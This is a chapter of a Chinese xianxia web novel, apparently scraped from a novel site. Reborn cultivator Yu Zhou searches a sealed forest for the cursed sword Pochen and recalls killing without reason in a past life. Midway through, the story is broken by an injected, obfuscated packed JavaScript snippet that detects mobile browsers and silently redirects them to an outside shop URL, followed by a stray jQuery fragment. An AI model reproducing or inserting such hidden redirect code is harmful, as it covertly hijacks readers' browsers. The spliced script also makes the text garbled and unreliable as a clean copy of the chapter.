文趣网 > 其他小说 > 高冷宿敌,但男妈妈 > 31. 破尘
    “谢梦雅。”

    “到。”

    “季林远。”

    “到。”

    “虞州。”

    ……

    “虞州?”

    “虞州呢,没来吗?”

    “刚才在万剑坪集合时这人就不在,还来不来啊,别耽误进度。”

    “就是,我为了今天可是等了好久了。”

    “谁不是啊!”

    人群不耐地抱怨,谢梦雅脑海中的声音也也不住催促:

    “虞州呢?怎么还不来?你问过夏琴没有,她俩在一起吗?”

    谢梦雅说:“夏琴去问了,还没回复我。”

    “你再去催催,快来不及了。”

    “去啊!愣着干什么?”

    “来了!”

    一道声音忽地传来,众人回头看去,只见一道身影由远及近,正往这里跑过来。

    她喘息有些不稳,抬头看了眼领队,手中令牌一递,开口:“没迟吧?”

    赵凡接过令牌查看后还给她,语气严厉:“下次早些来,莫要让所有人等你。”

    虞州接过令牌,没说话,自觉地站到了队伍末尾。

    明明也是在规定时间内掐着尾巴到达,但周围仍有些异样的目光落在她身上。

    虞州没计较。

    领队手拿法器,缓缓开启禁制。

    西雾林紧邻玄玉宗,是一片原始丛林,里面妖兽横生,灵植遍地,不少修士都想去里面探探机缘。

    林子本身没有禁制的,但不时有玄玉宗的弟子去西雾林探险最终受伤或命陨,宗门长老为了防止类似事件发生,于是就加了禁制。

    禁制需要特定的法器才能打开,而进入西雾林的机会也并不是时时都有,因此难得碰上一次,大家都很是珍惜。

    虞州不炼丹,不驭兽,也不锻造法器,她来西雾林的目标明确,就是为了破尘。

    只是。

    虞州侧目,看了看站在她身边的谢梦雅。

    脑海中回响起前不久那句诡异的话,虞州皱了皱眉头。

    禁制缓缓打开,几人有序迈入林子,领队给每人发放了一张传送符,没像周无默那样三令五申地重复,简单说了两句,人群便散开了。

    一时间,原地就剩了他们三个新生。

    肩膀一沉,虞州转头,对上季林远的笑脸,他问:“你来西雾林,有什么想去的地方没?”

    虞州问:“你呢?说起来,你怎么拿到名额的。”

    季林远:“月考那天你走后我继续与内门弟子比试,本来说这一次新生只有一个名额的,结果当时不知怎么,掌门又批了两个名额。”

    虞州敛眸。

    季林远还在说:“这还是我第一次来西雾林呢,虞州,你上次来过一次,你对这里熟悉些吧?”

    “上次是周师兄带路,我没自由活动,也没多熟悉,”虞州笑笑,问,“你想去哪?”

    “还能去哪?”

    季林远神神秘秘地在虞州耳边说:“当然是去看看破尘剑了。”

    “怎么,”季林远不可思议道,“你是剑修,你对破尘没兴趣吗?”

    “我有兴趣。”

    虞州还没说话,身后斜插过来一道声音,谢梦雅走过来,神情温和,语气柔软:“我对破尘有兴趣,我们可以一道吗?”

    季林远目光回到虞州身上。

    虞州盯着不远处的地面,不知在想什么,半晌,她眨了下眼,说:“走吧。”

    *

    西雾林很大。

    一直到日色西斜,三人都一无所获。

    虞州对此倒是很习惯,这么大的地方找一柄剑,不异于大海捞针,要真是轻而易举地就找到了那才有蹊跷。

    她拿出早上从走月峰厨房拿的饼,啃了两口,问季林远:“这次西雾林开几天来着?”

    季林远说:“五天。”

    他掏出地图比划:“我们现在也就走了……不到十分之一,你说咱这次能找着吗?”

    虞州咬着饼,说:“不一定,这次找不着就下次再说呗。”

    五天不长,西雾林走不完一遍,更何况虞州这辈子也没碰过破尘,她也不知道现在就算破尘真的摆在她面前了,她跟破尘之间的感应能有几分。

    不过没关系。

    她现在也不能用破尘,只是过来探探而已。

    再者。

    破尘是她的剑。

    跑不了。

    虞州和季林远有一搭没一搭地聊着,另一边,谢梦雅坐在一块石头上,她小口吃着储物袋里带的食物,犹豫了一会,还是忍不住在识海中询问:

    “你知道破尘在哪,对吗?”

    那声音懒懒:“这才第一天,现在就目的明确地找到破尘,虞州一准会怀疑你。”

    “不过,”她话锋一转,“那个叫季林远的,什么来头,之前没听你提过。”

    谢梦雅:“是外门弟子,新生试炼榜上无名,这次或许是运气好,在月考里名次不错。”

    “未必是运气,”那声音语气有些严肃,“你们现在的路线越来越靠近破尘了,他手里有地图,好几个岔路都是他选的。”

    谢梦雅:“可大部分的路都是虞州指的,会不会只是巧合。”

    “说不准,反正你们仨在一块,你多盯着他点。”

    谢梦雅:“嗯,知道了。”

    短暂休整,三人继续前行。

    白日里风平浪静,等到太阳快下山的时候,三人碰到了一只妖兽。等级并不算高,虞州杀得也很快,三两下剖了妖丹,问季林远:“你要么?”

    季林远:“你杀的,合该你留着。”

    虞州没客气,自己揣储物袋里了。

    是血蕊兽的妖丹,有滋养身体的功效,她目前用不着,不过夏琴近日在炼丹,说不定她能用的上。

    一直到月色当空,几人才停了下来。

    找了个山洞安营扎寨,山洞空间不大,上面还有一块小平台。

    其余两人身法不如虞州利索,平台给了虞州,他俩在底下住山洞。

    虞州枕在石头上,仰头看天。

    禁制开五天,但并不意味着她能有五天时间。凌雪回目前被仙盟的事绊住,等他从仙盟回来,必定会第一时间来西雾林抓她。

    还有破尘。

    上辈子是从哪得的破尘来着?

    虞州想了半天也没想到跟破尘的完整渊源,倒是另一件跟破尘有关的记忆不知道从哪飞出,跑到了她面前。

    破尘是一把上古凶剑,又邪又凶。据古籍记载,破尘从未认过主,像是有诅咒般,所有妄图据为己有的人全部下场凄惨。

    但它又切切实实是一把好剑,因此千百年来,仍有不少人前赴后继,甘愿葬送自己。

    有的众叛亲离,有的走火入魔,有的堕了魔,还有的亲手拿破尘了结了自己的性命。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666213|204744||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上辈子刚得到破尘那阵,无境是不愿让她用破尘的。

    极凶极邪的剑,沾了的人没一个落得好下场。

    无境不想让她这样。

    可虞州是个犟种,平生最爱干两件事。

    其一是别人不让她干的。

    其二是别人都干不成的。

    越不让她用,她越是要用,越告诉她所有拿了破尘的人都不得好死,她偏要说,那是因为没碰到我。

    她很喜欢破尘。

    说不清是因为犟种心态在作祟还是这剑的确用的趁手,反正她就是喜欢破尘。

    而好像真的印证了虞州那句话一样。

    在得到破尘没多久,它就认了虞州为主。

    剑修得了本命剑,这下无境更是没办法了,他无可奈何之下也就随她去了,左右有他这个师父在,就算真出了什么事,也能有他帮忙托底。

    自那以后,破尘便跟着虞州走南闯北。

    或许是命中注定,极凶极邪的剑碰上了恶贯满盈的魔头,虞州带着破尘从玄玉宗杀到仙盟,又从仙盟一路杀到魔域。

    那些年,死在破尘剑下的人不计其数。她入了魔,无境也死了,在剑道一术上,没人能拦得住她。

    除了一个人——

    凌雪回。

    久远的记忆伴随着破尘在虞州面前展开,天上的繁星扭曲转动,与黑夜铺陈出一副画卷。

    凌雪回手持繁霜,站在她面前,而他身后,站着一个瑟瑟发抖的人。

    那人满身伤痕,衣衫凌乱,蓬头垢面。

    凌雪回问:“你为何要杀他。”

    虞州转转手腕,语气不屑:“想杀就杀了,要什么理由。”

    她已经不记得这人是谁。

    也不记得到底为什么要杀他。

    也或许就如她当时所说,想杀就杀了,要什么理由。

    蔺瑜舟杀人不需要理由。

    破尘杀人也不需要理由。

    可凌雪回不信。

    他挡住她的剑,执拗地要向她讨一个结果:“你为什么要杀他。”

    虞州被他搞得不耐烦,眼睛一眯,破尘朝着凌雪回的脖颈就刺去。

    打了几招,那人早就一瘸一拐地跑了个没影,侧身躲过凌雪回的下一招,嗓音懒懒:“人都跑没影了,你还拦我做什么?”

    凌雪回说:“你还没告诉我你为什么要杀他。”

    “你有完没完,”虞州烦不胜烦,“我说过,我想杀就杀了,我杀人需要什么理由?我看街上随便一个人不爽我就提剑把他脑袋砍下来,我今天心情不好我就看见一个杀一个,我想杀谁就杀谁,别人要是想杀我那我也等着,哪有那么多理由!”

    “蔺瑜舟,”凌雪回看着她的眼睛,半晌,摇了摇头,说,“凡事都需要理由。”

    虞州被他气得想笑。

    这人,古板无趣得像根朽木,在玄玉宗时就顾念着那些条条框框,今日说偷师父的酒不好,明日说私自打架斗殴违规,到了如今,她想杀一个人,竟然都要被他拦着。

    哪有那么多理由。

    天上地下,凡事都要一个理由的话,那无境为什么会死,她为什么会变成现在这样。为什么仙盟那群该死的人都不死,为什么一切的一切会是如此。

    哪有那么多理由。

    她死死盯着凌雪回,一字一顿道:

    “天底下,万事都不需要理由。”